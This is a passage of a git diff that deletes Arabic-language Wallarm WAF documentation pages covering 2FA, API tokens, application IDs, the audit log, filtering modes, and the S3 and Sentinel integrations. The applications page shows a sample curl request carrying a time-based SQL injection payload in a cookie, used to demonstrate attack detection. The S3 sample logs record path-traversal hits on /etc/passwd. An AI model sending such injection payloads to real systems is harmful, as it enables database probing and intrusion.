الثنائية. ستكون قسم **المصادقة الثنائية** غير متاح. - -1. قم بتثبيت تطبيق *Google Authenticator* ([Android][link-2fa-android-app], [iOS][link-2fa-ios-app]) أو أي تطبيق متوافق. -1. اضغط على *تمكين* في إعداد المصادقة الثنائية. -1. امسح رمز الاستجابة السريعة الذي يظهر (أو اضغط على رابط *الإدخال اليدوي* واستخدم خيار الإدخال اليدوي). -1. أدخل رمز التحقق المكون من 6 أرقام الذي يولده تطبيقك. -1. أدخل كلمة المرور. -1. اضغط على *تأكيد*. - -كلما قمت بتسجيل الدخول، سيُطلب منك رمز العامل الثاني بعد مطالبة كلمة المرور. احصل على هذا الرمز من تطبيق Google Authenticator الخاص بك. - -كلمة المرور مطلوبة إذا كنت ترغب في إيقاف تشغيل المصادقة الثنائية. - -![نظرة عامة على صفحة المصادقة الثنائية][img-2fa-page] - -!!! معلومات "التوافق" - يمكنك استخدام أي تطبيق أو جهاز يدعم خوارزمية كلمة المرور لمرة واحدة معتمدة على الوقت (RFC6238) لتوليد رموز لمرة واحدة. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/api-tokens.md b/docs/latest-ar/user-guides/settings/api-tokens.md deleted file mode 100644 index f3f7613a8a..0000000000 --- a/docs/latest-ar/user-guides/settings/api-tokens.md +++ /dev/null @@ -1,115 +0,0 @@ -# رموز API - -في واجهة Wallarm → **الإعدادات** → **رموز API**، يمكنكم إدارة الرموز الخاصة ب[مصادقة طلبات API](../../api/overview.md). - -![رمز Wallarm API][img-api-tokens-edit] - -هذا القسم متاح لمستخدمي **[جميع الأدوار][user-roles-article]** باستثناء **القراءة فقط** و**مطور API**. - -## تكوين الرموز - -يمكن للمستخدمين إنشاء رموزهم الخاصة واستخدامها (أي، مشاهدة قيمة الرمز وتضمينها في طلب API لمصادقته). يمكنك تعيين أذونات لكل رمز خاص بك، ولكن لا يمكن أن تكون أوسع من الأذونات التي لديك. بشكل اختياري، يمكنك تحديد تاريخ انتهاء صلاحية للرمز - إذا تم تحديده، سيتم تعطيل الرمز بعد ذلك التاريخ. كذلك، يمكنك تعطيل/تفعيل رموزك يدويًا. - -يمكن تجديد قيمة الرمز في أي لحظة. - -يمكن ل**المدراء** / **المدراء العامين** مشاهدة وإدارة جميع الرموز في حساب الشركة. بجانب الرموز الخاصة، يمكنهم إنشاء رموز مشتركة، يمكن للمدراء الآخرين رؤيتها/استخدامها. عند تحديد الأذونات للرموز، يمكنهم اختيار أخذ هذه الأذونات من الدور المحدد: - -* مدير -* محلل -* مطور API -* قراءة فقط -* النشر - يُستخدم الرمز ذو هذا الدور ل[نشر عقد Wallarm](../../user-guides/nodes/nodes.md#creating-a-node) -* مخصص - يعود إلى اختيار الأذونات يدويًا. لإنشاء رمز ل[اختبار أمان OpenAPI]، الدور المخصص بالأذونات المقابلة مطلوب. - -!!! info "خصوصية الرمز" - لا يمكن للمستخدمين الآخرين (حتى المدراء) استخدام الرموز الخاصة بك (أي، مشاهدة أو نسخ قيمة الرمز). بالإضافة إلى ذلك، لن يتمكن المستخدمون غيرالمدراء حتى من رؤية رموزك. - -ضع في اعتبارك أنه: - -* إذا تم [تعطيل](../../user-guides/settings/users.md#disabling-and-deleting-users) مالك الرمز، جميع رموزه ستتم تعطيلها تلقائيًا كذلك. -* إذا تم تقليص أذونات مالك الرمز، سيتم إزالة الأذونات المقابلة من جميع رموزه. -* جميع الرموز المعطلة تُحذف تلقائيًا بعد أسبوع من تعطيلها. -* لتفعيل رمز تم تعطيله سابقًا، احفظه بتاريخ انتهاء صلاحية جديد. - -## إنشاء الرموز بأذونات دور عالمية - -لإنشاء رمز API بأذونات مبنية على ال[أدوار](../../user-guides/settings/users.md#user-roles) العالمية مثل المدير العالمي أو المحلل العالمي أو القراءة فقط العالمية، اتبع الخطوات التالية: - -1. تسجيل الدخول إلى واجهة Wallarm الأمريكية [US](https://us1.my.wallarm.com/) أو الأوروبية [EU](https://my.wallarm.com/) تحت [المستخدم المناسب](#configuring-tokens). -1. في الأعلى اليمين، اختر `؟` → **واجهة Wallarm API**. تُفتح واجهة Wallarm API: - - * https://apiconsole.us1.wallarm.com/ للسحابة الأمريكية - * https://apiconsole.eu1.wallarm.com/ للسحابة الأوروبية - - لاحظ أن واجهة Wallarm API تسترجع بيانات المصادقة من واجهة Wallarm. إذا غيرت المستخدم في واجهة Wallarm، قم بتحديث صفحة واجهة Wallarm API للمصادقة الجديدة. - -1. إرسال طلب POST إلى المسار `/v2/api_tokens` بالمعاملات التالية: - - ```bash - { - "client_id": , - "realname": "<اسم_رمز_API_الخاص_بك>", - "user_id": , - "enabled": true, - "expire_at": "<تاريخ_ووقت_انتهاء_صلاحية_الرمز>", - "permissions": [ - "<الدور_العالمي_المطلوب>" - ] - } - ``` - - حيث: - - * "<اسم_رمز_API_الخاص_بك>" يُوصى بأن يوضح غرض الرمز. - * "" يحدد المستخدم الذي يمتلك الرمز، و"" - حساب الشركة الذي ينتمي إليه هذا المستخدم. - - يمكن الحصول على هذه الأرقام التعريفية بإرسال طلب POST إلى المسار `/v1/user`. - - * "<تاريخ_ووقت_انتهاء_صلاحية_الرمز>" بتنسيق [ISO 8601](https://www.cl.cam.ac.uk/~mgk25/iso-time.html)، على سبيل المثال `2033-06-13T04:56:01.037Z`. - * "<الدور_العالمي_المطلوب>" يمكن أن يكون: - - * `partner_admin` للمدير العالمي - * `partner_analytic` للمحلل العالمي - * `partner_auditor` للقراءة فقط العالمية - - ??? info "مثال" - ```bash - { - "client_id": 1010, - "realname": "رمز لإنشاء مستأجر", - "user_id": 10101011, - "enabled": true, - "expire_at": "2033-06-13T04:56:01.037Z", - "permissions": [ - "partner_admin" - ] - } - ``` - - ينشئ هذا الطلب رمز API بأذونات المدير العالمي الذي يمكن استخدامه ل[إنشاء مستأجر](../../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api). - -1. من الاستجابة، احصل على `id` الرمز المُنشأ وأرسل طلب GET إلى المسار `/v2/api_tokens/{id}/secret` باستخدام هذا `id`. -1. انسخ قيمة `secret` من الاستجابة واستخدمها كرمز API لمصادقة الطلب. - - !!! info "نسخ الرمز من واجهة Wallarm" - نظرًا لأن رمز API المُنشأ يتم عرضه في واجهة Wallarm، يمكنك أيضًا نسخه من قائمة الرمز في **الإعدادات** → **رموز API**. - -## الرموز التوافقية الخلفية - -كان يتم استخدام UUID ومفتاح سري للمصادقة على الطلبات والذي تم استبداله الآن بالرموز. UUID ومفتاح السري الذي كنت تستخدمه تم تحويلهما تلقائيًا إلى رمز **توافقي خلفي**. مع هذا الرمز، ستستمر الطلبات المصادق عليها بـ UUID ومفتاح السري في العمل. - -!!! warning "تجديد الرمز أو تفعيل SSO" - إذا جددت قيمة الرمز التوافقي الخلفي أو فعّلت [SSO/SSO الصارم](../../admin-en/configuration-guides/sso/setup.md) لمالك هذا الرمز، فإن التوافق الخلفي ينتهي - جميع الطلبات المصادق عليها بـ UUID ومفتاح السري القديم ستتوقف عن العمل. - -يمكنك أيضًا استخدام القيمة المنشأة للرمز التوافقي الخلفي بتمريرها في معامل الرأس `X-WallarmApi-Token` لطلباتك. - -يتمتع الرمز التوافقي الخلفي بنفس أذونات دور المستخدم، ولا يتم عرض هذه الأذونات في نافذة الرمز ولا يمكن تغييرها. إذا كنت ترغب في التحكم بالأذونات، تحتاج إلى إزالة رمز توافقي خلفي وإنشاء رمز جديد. - -## رموز API مقابل رموز العقد - -يمكن استخدام رموز API الموضحة في هذا المقال لمصادقة [طلبات Wallarm Cloud API](../../api/overview.md) من أي عميل وبأي مجموعة من الأذونات. - -أحد العملاء الذين يصلون إلى Wallarm Cloud API هو عقدة تصفية Wallarm نفسها. لمنح عقدة تصفية وصول إلى API Wallarm Cloud، بجانب رموز API، يمكنك استخدام رموز العقد. [اعرف الاختلاف وما يجب التفضيل ←](../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation) - -!!! info "رموز API غير مدعومة ببعض خيارات النشر" - حاليًا، لا يمكن استخدام رموز API لمتحكمات AWS القائم على [وحدة Terraform](../../installation/cloud-platforms/aws/terraform-module/overview.md). استخدم رموز العقد بدلاً من ذلك. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/applications.md b/docs/latest-ar/user-guides/settings/applications.md deleted file mode 100644 index ccac1b3152..0000000000 --- a/docs/latest-ar/user-guides/settings/applications.md +++ /dev/null @@ -1,91 +0,0 @@ -# إعداد التطبيقات - -إذا كانت شركتك تملك عدة تطبيقات، قد تجد أنه من المناسب ليس فقط مشاهدة إحصائيات حركة المرور للشركة بأكملها ولكن أيضًا مشاهدة الإحصائيات بشكل منفصل لكل تطبيق. لفصل حركة المرور حسب التطبيقات، يمكنك استخدام كيان "التطبيق" في نظام Wallarm. - -!!! warning "دعم تهيئة التطبيق لعقدة CDN" - لتهيئة التطبيقات لـ [عقد Wallarm CDN](../../installation/cdn-node.md)، يرجى طلب ذلك من [فريق دعم Wallarm](mailto:support@wallarm.com). - -يتيح لك استخدام التطبيقات: - -* مشاهدة الأحداث والإحصائيات بشكل منفصل لكل تطبيق -* تهيئة [المشغلات](../triggers/triggers.md)، [القواعد](../rules/rules.md) وميزات Wallarm الأخرى لتطبيقات معينة -* [تهيئة Wallarm في بيئات منفصلة](../../installation/multi-tenant/overview.md#issues-addressed-by-multitenancy) - -لكي يتعرف Wallarm على تطبيقاتك، يلزم تعيين معرفات فريدة لها عبر الأمر المناسب في تهيئة العقدة. يمكن تعيين المعرفات لكل من نطاقات التطبيق ومسارات النطاق. - -بشكل افتراضي، يعتبر Wallarm كل تطبيق هو تطبيق `الافتراضي` بالمعرف (ID) `-1`. - -## إضافة تطبيق - -1. (اختياري) أضف تطبيقًا في لوحة تحكم Wallarm → **الإعدادات** → **التطبيقات**. - - ![إضافة تطبيق](../../images/user-guides/settings/configure-app.png) - - !!! warning "الوصول الإداري" - فقط المستخدمون بدور **المدير** يمكنهم الوصول إلى القسم **الإعدادات** → **التطبيقات**. -2. قم بتعيين معرف فريد للتطبيق في تكوين العقدة عبر: - - * الأمر [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) إذا تم تثبيت Wallarm كوحدة NGINX، صورة سوق السحاب، حاوية Docker المستندة إلى NGINX بملف تكوين مُثبَت، حاوية جانبية. - * [المتغير البيئي](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) `WALLARM_APPLICATION` إذا تم تثبيت Wallarm كحاوية Docker المستندة إلى NGINX. - * [تعليق Ingress](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `wallarm-application` إذا تم تثبيت Wallarm كمتحكم Ingress. - * البارامتر [`application`](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) إذا تم تثبيت Wallarm كحاوية Docker المستندة إلى Envoy بملف تكوين مُثبَت. - - يمكن أن تكون القيمة عددًا صحيحًا موجبًا عدا `0`. - - إذا لم يتم إضافة التطبيق مع المعرف المحدد في لوحة تحكم Wallarm → **الإعدادات** → **التطبيقات**، فسيتم إضافته تلقائيًا إلى القائمة. سيتم توليد اسم التطبيق تلقائيًا بناءً على المعرف المحدد (مثل `التطبيق #1` للتطبيق بالمعرف `-1`). يمكن تغيير الاسم عبر لوحة تحكم Wallarm لاحقًا. - -إذا تم تهيئة التطبيق بشكل صحيح، سيتم عرض اسمه في تفاصيل الهجمات الموجهة نحو هذا التطبيق. لاختبار تهيئة التطبيق، يمكنك إرسال [الهجوم الاختباري](../../admin-en/installation-check-operation-en.md#2-run-a-test-attack) إلى عنوان التطبيق. - -## التعرف التلقائي على التطبيقات - -يمكنك تهيئة التعرف التلقائي على التطبيقات استنادًا إلى: - -* رؤوس طلبات محددة -* جزء معين من رؤوس الطلبات أو من عناوين URLs باستخدام أمر `map` الخاص بـ NGINX - -!!! info "NGINX فقط" - النهج المذكورة تنطبق فقط على نشر عقدة مبنية على NGINX. - -### التعرف على التطبيق استنادًا إلى رؤوس طلبات محددة - -يشمل هذا النهج خطوتين: - -1. تهيئة شبكتك بحيث يتم إضافة رأس بمعرف التطبيق إلى كل طلب. -2. استخدم قيمة هذا الرأس كقيمة للأمر `wallarm_application`. انظر المثال أدناه. - -مثال على ملف تكوين NGINX: - -``` -server { - listen 80; - server_name example.com; - wallarm_mode block; - wallarm_application $http_custom_id; - - location / { - proxy_pass http://upstream1:8080; - } -} -``` - -مثال على طلب هجوم: - -``` -curl -H "Cookie: SESSID='UNION SELECT SLEEP(5)-- -" -H "CUSTOM-ID: 222" http://example.com -``` - -هذا الطلب سيتم: - -* اعتباره هجومًا وإضافته إلى قسم **الهجمات**. -* ربطه بالتطبيق بالمعرف `222`. -* إذا لم يكن التطبيق المقابل موجودًا، سيتم إضافته إلى **الإعدادات** → **التطبيقات** وتسميته تلقائيًا `التطبيق #222`. - -![إضافة تطبيق استنادًا إلى طلب الرأس](../../images/user-guides/settings/configure-app-auto-header.png) - -### التعرف على التطبيق استنادًا إلى رأس طلب محدد أو جزء من URLs باستخدام أمر `map` الخاص بـ NGINX - -يمكنك إضافة التطبيقات استنادًا إلى رأس طلبات محدد أو جزء من عناوين النقاط النهائية، باستخدام أمر `map` الخاص بـ NGINX. راجع الشرح التفصيلي للأمر في [الوثائق](https://nginx.org/en/docs/http/ngx_http_map_module.html#map) الخاصة بـ NGINX. - -## حذف التطبيق - -لحذف التطبيق من نظام Wallarm، احذف الأمر المناسب من ملف تكوين العقدة. إذا تم حذف التطبيق فقط من القسم **الإعدادات** → **التطبيقات**، سيتم استعادته في القائمة. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/audit-log.md b/docs/latest-ar/user-guides/settings/audit-log.md deleted file mode 100644 index 94a125f4ed..0000000000 --- a/docs/latest-ar/user-guides/settings/audit-log.md +++ /dev/null @@ -1,35 +0,0 @@ -# سجل نشاط المستخدم - -يمكنك التحقق من تاريخ أفعال المستخدمين في نظام Wallarm من خلال التبويب **الإعدادات** → **سجل النشاط** في واجهة Wallarm. يتضمن السجل معلومات عن إنشاء، تحديث، وحذف الكائنات التالية: - -* عنوان IP أو الشبكة الفرعية من [الأصول المعرضة للخطر](../scanner.md) -* النطاقات من محيط الشبكة -* الخدمات (المنافذ) من محيط الشبكة -* النطاقات وعناوين IP المرتبطة بها من محيط الشبكة -* [المصادقة الثنائية](account.md#enabling-two-factor-authentication) -* [رموز API](api-tokens.md) -* [المستخدمين](users.md) -* [قواعد](../rules/rules.md) معالجة الحركة -* [نسخ احتياطي لقواعد مخصصة](../rules/rules.md#backup-and-restore) -* [عقد Wallarm](../nodes/nodes.md) -* [عقد CDN](../nodes/cdn-node.md) -* [المشغلات](../triggers/triggers.md) -* [التكاملات](integrations/integrations-intro.md) -* [عنوان IP محظور](../ip-lists/overview.md) -* [أخذ عينات للضربات](../events/analyze-attack.md#sampling-of-hits) - -يتضمن السجل أيضًا معلومات حول الأفعال والكائنات التالية: - -* [الثغرة الأمنية المحددة كإيجابية كاذبة](../vulnerabilities.md#marking-vulnerabilities-as-false-positives) -* [الهجوم المعاد فحصه](../events/verify-attack.md) - -![سجل النشاط](../../images/user-guides/settings/audit-log.png) - -**لتصفية سجلات سجل النشاط**، يمكنك استخدام البارامترات التالية: - -* البيانات الحساسة لحالة الأحرف التي أدى بها الفعل المستخدم - - إذا تم تنفيذ الفعل بواسطة فريق الدعم الفني لـ Wallarm، فإن اسم المستخدم يكون `الدعم الفني`. لا يمكن استخدام هذه القيمة لترتيب سجلات سجل النشاط. -* نوع الفعل -* اسم الكائن الذي تم الفعل بخصوصه -* تاريخ تنفيذ الفعل \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/general.md b/docs/latest-ar/user-guides/settings/general.md deleted file mode 100644 index 8b107f91f1..0000000000 --- a/docs/latest-ar/user-guides/settings/general.md +++ /dev/null @@ -1,25 +0,0 @@ -[link-config-parameters]: ../../admin-en/configure-wallarm-mode.md - -[img-general-settings]: ../../images/configuration-guides/configure-wallarm-mode/en/general-settings-page-with-safe-blocking.png - -# الإعدادات العامة - -في علامة التبويب **العامة** ضمن قسم **الإعدادات** يمكنك: - -* تغيير وضع تصفية Wallarm -* إدارة مهل تسجيل الخروج التلقائي - -![علامة التبويب العامة](../../images/user-guides/settings/general-tab.png) - -## وضع التصفية - -يمكن لكل عقدة من عقد Wallarm تحديد وحظر الهجمات على مستوى طلب HTTP. يتم تعريف [وضع التصفية][link-config-parameters] هذا بواسطة الإعدادات المحلية أو العالمية: - -* **الإعدادات المحلية (افتراضي)**: يستغل هذا الوضع إعدادات من ملف تكوين عقدة الفلتر. -* **الحظر الآمن**: يتم حظر جميع الطلبات الضارة الصادرة من [عناوين IP المدرجة في القائمة الرمادية](../ip-lists/overview.md). -* **المراقبة**: يتم معالجة جميع الطلبات، لكن لا يتم حظر أي منها حتى لو تم اكتشاف هجوم. -* **الحظر**: يتم حظر جميع الطلبات التي تم فيها اكتشاف هجوم. - -## إدارة تسجيل الخروج - -يمكن لـ[المدراء](users.md#user-roles) ضبط مهل تسجيل الخروج لحساب الشركة. ستؤثر الإعدادات على جميع مستخدمي الحساب. يمكن ضبط مهلات الخمول والمطلقة. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/amazon-s3.md b/docs/latest-ar/user-guides/settings/integrations/amazon-s3.md deleted file mode 100644 index bece9dac72..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/amazon-s3.md +++ /dev/null @@ -1,174 +0,0 @@ -# Amazon S3 - -[Amazon S3](https://aws.amazon.com/s3/?nc1=h_ls) ، أو Amazon Simple Storage Service ، هو خدمة تخزين سحابية قابلة للتوسعة تقدمها خدمات الويب الأمازونية (AWS). يتم استخدامه لمجموعة متنوعة من الأغراض ، بما في ذلك النسخ الاحتياطي للبيانات ، أرشفة البيانات ، توزيع المحتوى ، استضافة المواقع ، وتخزين بيانات التطبيقات. يمكنك إعداد Wallarm لإرسال الملفات التي تحتوي على معلومات عن الهجمات المكتشفة إلى دلو Amazon S3 الخاص بك. سيتم إرسال المعلومات في ملفات بتنسيق JSON كل 10 دقائق. - -حقول البيانات لكل هجوم: - -* `time` - تاريخ ووقت استكشاف الهجمة بتنسيق Unix Timestamp -* `request_id` -* `ip` - عنوان IP للمهاجم -* نوع مصدر الهجوم: `datacenter`, `tor`, `remote_country` -* `application_id` -* `domain` -* `method` -* `uri` -* `protocol` -* `status_code` -* `attack_type` -* `block_status` -* `payload` -* `point` -* `tags` - -سيتم حفظ الملفات في دلاء S3 الخاص بك باستخدام اسم الملف `wallarm_hits_{timestamp}.json` أو `wallarm_hits_{timestamp}.jsonl`. سيعتمد تنسيق البيانات ، إما JSON Array أو New Line Delimited JSON (NDJSON) ، على الاختيار الذي قمت به أثناء إعداد التكامل. - -## إعداد التكامل - -عند إعداد التكامل مع Amazon S3 ، تحتاج إلى تحديد أي طريقة تريد استخدامها للتفويض: - -* **عبر ARN الدور (موصى به)** - يوصي AWS باستخدام أدوار التفويض بخيار الهوية الخارجية كطريقة لزيادة الأمان والحد من هجمات "النائب المرتبك". تقدم Wallarm هذه الهوية الفريدة لحساب مؤسستك. -* **عبر مفتاح الوصول السري** - طريقة أكثر شيوعًا وبساطة ، تتطلب مشاركة [مفتاح الوصول](https://docs.aws.amazon.com/powershell/latest/userguide/pstools-appendix-sign-up.html) الخاص بمستخدم IAM الخاص بك في AWS. إذا اخترت هذه الطريقة ، يوصى باستخدام مفتاح الوصول لمستخدم IAM منفصل يمتلك فقط إذن كتابة إلى دلاء S3 المستخدم في التكامل. - -لإعداد تكامل Amazon S3: - -1. قم بإنشاء دلاء Amazon S3 لـ Wallarm تبعًا لـ [التعليمات](https://docs.aws.amazon.com/AmazonS3/latest/userguide/GetStartedWithS3.html). -1. قم بإجراء خطوات مختلفة تعتمد على طريقة التفويض المحددة. - - === "Role ARN" - - 1. في واجهة المستخدم الرسومية لـ AWS ، انتقل إلى S3 → دلاؤك → علامة التبويب **Properties** وانسخ رمز **AWS Region** الخاص بك و **Amazon Resource Name (ARN)**. - - على سبيل المثال ، `us-west-1` كمنطقة و `arn:aws:s3:::test-bucket-json` كـ ARN. - - 1. في واجهة المستخدم لوحة التحكم Wallarm ، افتح قسم **Integrations**. - 1. انقر على كتلة **AWS S3** أو انقر على الزر **Add integration** واختر **AWS S3**. - 1. أدخل اسم التكامل. - 1. أدخل رمز المنطقة الخاصة بـ AWS المنسوخ مسبقًا لدلاء S3 الخاص بك. - 1. أدخل اسم دلائك S3. - 1. انسخ معرف الحساب الخاص بـ Wallarm المقدم. - 1. انسخ الهوية الخارجية المقدمة. - 1. في واجهة المستخدم لـ AWS ، بدء إنشاء [دور جديد](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user.html) تحت IAM → **Access Management** → **Roles**. - 1. اختر **AWS account** → **Another AWS Account** كنوع الكيان الموثوق. - 1. الصق **Account ID** الخاص بـ Wallarm. - 1. اختر **Require external ID** والصق الهوية الخارجية المقدمة من Wallarm. - 1. انقر على **Next** وأنشئ سياسة للدور الخاص بك: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "s3:PutObject", - "Resource": "/*" - } - ] - } - ``` - 1. أكمل إنشاء الدور وانسخ ARN الخاص بالدور. - 1. في واجهة المستخدم لوحة التحكم Wallarm ، في الحوار الخاص بإنشاء التكامل الخاص بك ، في علامة التبويب **Role ARN** ، الصق ARN الخاص بالدور الخاص بك. - - ![تكامل Amazon S3](../../../images/user-guides/settings/integrations/add-amazon-s3-integration.png) - - === "Secret access key" - - 1. في واجهة المستخدم الرسومية لـ AWS ، انتقل إلى S3 → دلاؤك → علامة التبويب **Properties** وانسخ رمز **AWS Region** الخاص بك ، على سبيل المثال `us-west-1`. - 1. انتقل إلى IAM → Dashboard → قسم **Manage access keys** → **Access keys**. - 1. احصل على مُعرّف مفتاح الوصول الذي تخزنه في مكان ما أو قم بإنشاء مفتاح جديد / استعادة المفتاح المفقود كما هو موضح [هنا](https://aws.amazon.com/ru/blogs/security/wheres-my-secret-access-key/). على أي حال ، ستحتاج إلى المفتاح النشط ومعرفه. - 1. في واجهة المستخدم لوحة التحكم Wallarm ، افتح قسم **Integrations**. - 1. انقر على كتلة **AWS S3** أو انقر على الزر **Add integration** واختر **AWS S3**. - 1. أدخل اسم التكامل. - 1. أدخل رمز المنطقة الخاص بـ AWS المنسوخ مسبقًا لدلاء S3 الخاص بك. - 1. أدخل اسم دلائك S3. - 1. في علامة التبويب **Secret access key** ، أدخل مُعرّف مفتاح الوصول والمفتاح نفسه. - -1. حدد التنسيق للبيانات Wallarm: إما JSON Array أو New Line Delimited JSON (NDJSON). -1. تأكد في قسم **Regular notifications** ، أنه تم اختيار إرسال الهجمات في آخر 10 دقائق. إذا لم يتم اختيارها ، لن يتم إرسال البيانات إلى دلاء S3. -1. انقر على **Test integration** للتحقق من صحة التكوين ، وتوفر الويب السحابي Wallarm ، وتنسيق الإشعارات. - - بالنسبة لـ Amazon S3 ، يرسل اختبار التكامل ملف JSON يحتوي على البيانات إلى دلائك. فيما يلي مثال على ملف JSON الذي يحتوي على بيانات الهجمات المكتشفة في آخر 10 دقائق: - - === "JSON Array" - ```json - [ - { - "time":"1687241470", - "request_id":"d2a900a6efac7a7c893a00903205071a", - "ip":"127.0.0.1", - "datacenter":"unknown", - "tor":"none", - "remote_country":null, - "application_id":[ - -1 - ], - "domain":"localhost", - "method":"GET", - "uri":"/etc/passwd", - "protocol":"none", - "status_code":499, - "attack_type":"ptrav", - "block_status":"monitored", - "payload":[ - "/etc/passwd" - ], - "point":[ - "uri" - ], - "tags":{ - "lom_id":7, - "libproton_version":"4.4.11", - "brute_counter":"c188cd2baa2cefb3f3688cb4008a649e", - "wallarm_mode":"monitoring", - "final_wallarm_mode":"monitoring" - } - }, - { - "time":"1687241475", - "request_id":"b457fccec9c66cdb07eab7228b34eca6", - "ip":"127.0.0.1", - "datacenter":"unknown", - "tor":"none", - "remote_country":null, - "application_id":[ - -1 - ], - "domain":"localhost", - "method":"GET", - "uri":"/etc/passwd", - "protocol":"none", - "status_code":499, - "attack_type":"ptrav", - "block_status":"monitored", - "payload":[ - "/etc/passwd" - ], - "point":[ - "uri" - ], - "tags":{ - "lom_id":7, - "libproton_version":"4.4.11", - "brute_counter":"c188cd2baa2cefb3f3688cb4008a649e", - "wallarm_mode":"monitoring", - "final_wallarm_mode":"monitoring" - } - } - ] - ``` - === "New Line Delimited JSON (NDJSON)" - ```json - {"time":"1687241470","request_id":"d2a900a6efac7a7c893a00903205071a","ip":"127.0.0.1","datacenter":"unknown","tor":"none","remote_country":null,"application_id":[-1],"domain":"localhost","method":"GET","uri":"/etc/passwd","protocol":"none","status_code":499,"attack_type":"ptrav","block_status":"monitored","payload":["/etc/passwd"],"point":["uri"],"tags":{"lom_id":7,"libproton_version":"4.4.11","brute_counter":"c188cd2baa2cefb3f3688cb4008a649e","wallarm_mode":"monitoring","final_wallarm_mode":"monitoring"}} - {"time":"1687241475","request_id":"b457fccec9c66cdb07eab7228b34eca6","ip":"127.0.0.1","datacenter":"unknown","tor":"none","remote_country":null,"application_id":[-1],"domain":"localhost","method":"GET","uri":"/etc/passwd","protocol":"none","status_code":499,"attack_type":"ptrav","block_status":"monitored","payload":["/etc/passwd"],"point":["uri"],"tags":{"lom_id":7,"libproton_version":"4.4.11","brute_counter":"c188cd2baa2cefb3f3688cb4008a649e","wallarm_mode":"monitoring","final_wallarm_mode":"monitoring"}} - ``` -1. اضغط على **Add integration**. - -للتحكم في كمية البيانات المخزنة ، يوصى بإعداد حذف تلقائي للكائنات القديمة من دلائك Amazon S3 كما هو موضح [هنا](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html). - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعلمات التكامل غير الصحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/azure-sentinel.md b/docs/latest-ar/user-guides/settings/integrations/azure-sentinel.md deleted file mode 100644 index 6d83bda2c3..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/azure-sentinel.md +++ /dev/null @@ -1,78 +0,0 @@ -# Microsoft Sentinel - -[Microsoft Azure Sentinel](https://azure.microsoft.com/en-au/products/microsoft-sentinel/) هي حل يوفره Microsoft كجزء من منصة السحاب Azure لمساعدة المؤسسات على مراقبة، الكشف، التحقيق، والاستجابة للتهديدات الأمنية والحوادث عبر بيئات السحاب والموقع بالكامل. يمكنك إعداد Wallarm لتسجيل الأحداث في Microsoft Sentinel. - -## إعداد التكامل - -في واجهة المستخدم لـ Microsoft: - -1. [تشغيل Microsoft Sentinel على مساحة العمل](https://learn.microsoft.com/en-us/azure/sentinel/quickstart-onboard#enable-microsoft-sentinel-). -1. انتقل إلى إعدادات مساحة العمل Sentinel → **Agents** → **Log Analytics agent instructions** وانسخ المعلومات التالية: - - * مُعرف مساحة العمل - * المفتاح الأساسي - -في واجهة مستخدم Wallarm Console: - -1. افتح قسم **التكاملات**. -1. انقر على كتلة **Microsoft Sentinel** أو انقر على زر **إضافة تكامل** واختر **Microsoft Sentinel**. -1. أدخل اسم تكامل. -1. الصق مُعرف مساحة العمل والمفتاح الأساسي المنسوخ. -1. اختياريًا، حدد جدول Azure Sentinel لأحداث Wallarm. إذا لم يكن موجودًا، سيتم إنشاؤه تلقائيًا. - - بدون اسم، يتم إنشاء جداول منفصلة لكل نوع حدث. -1. اختر أنواع الأحداث لتشغيل الإشعارات. - - ![تكامل Sentinel](../../../images/user-guides/settings/integrations/add-sentinel-integration.png) - - تفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/advanced-events-for-integrations-ar.md" - -1. انقر **اختبار التكامل** للتحقق من صحة الإعداد، توفر السحابة Wallarm، وتنسيق الإشعار. - - يمكنك العثور على سجلات Wallarm في مساحة عملك Microsoft → **Logs** → **Custom Logs**، على سبيل المثال، سجل اختبار `create_user_CL` في Microsoft Sentinel يظهر كما يلي: - - ![رسالة اختبار Sentinel](../../../images/user-guides/settings/integrations/test-sentinel-new-vuln.png) - - !!! info "تأخير في إرسال البيانات إلى مساحات العمل الجديدة" - قد يستغرق إنشاء مساحة عمل على Sentinel لتكامل Wallarm ما يصل إلى ساعة واحدة لكي تعمل جميع الخدمات. يمكن أن يؤدي هذا التأخير إلى ظهور أخطاء أثناء اختبار التكامل واستخدامه. إذا كانت جميع إعدادات التكامل صحيحة لكن الأخطاء تستمر في الظهور، يُرجى المحاولة مرة أخرى بعد ساعة واحدة. - -1. انقر **إضافة تكامل**. - -## أنواع سجلات Wallarm - -بشكل عام، يمكن لـ Wallarm تسجيل السجلات من الأنواع التالية في Sentinel: - -| الحدث | نوع سجل Sentinel | -| ----- | ----------------- | -| حدث جديد [hit](../../../glossary-en.md#hit) | `new_hits_CL` | -| [مستخدم](../../../user-guides/settings/users.md) جديد في حساب شركة | `create_user_CL` | -| حذف مستخدم من حساب شركة | `delete_user_CL` | -| تحديث دور المستخدم | `update_user_CL` | -| حذف [تكامل](integrations-intro.md) | `delete_integration_CL` | -| تعطيل تكامل | `disable_integration_CL` أو `integration_broken_CL` إذا تم تعطيله بسبب إعدادات غير صحيحة | -| [تطبيق](../../../user-guides/settings/applications.md) جديد | `create_application_CL` | -| حذف تطبيق | `delete_application_CL` | -| تحديث اسم تطبيق | `update_application_CL` | -| [ثغرة أمنية](../../../glossary-en.md#vulnerability) جديدة بمخاطر عالية | `vuln_high_CL` | -| ثغرة أمنية جديدة بمخاطر متوسطة | `vuln_medium_CL` | -| ثغرة أمنية جديدة بمخاطر منخفضة | `vuln_low_CL` | -| 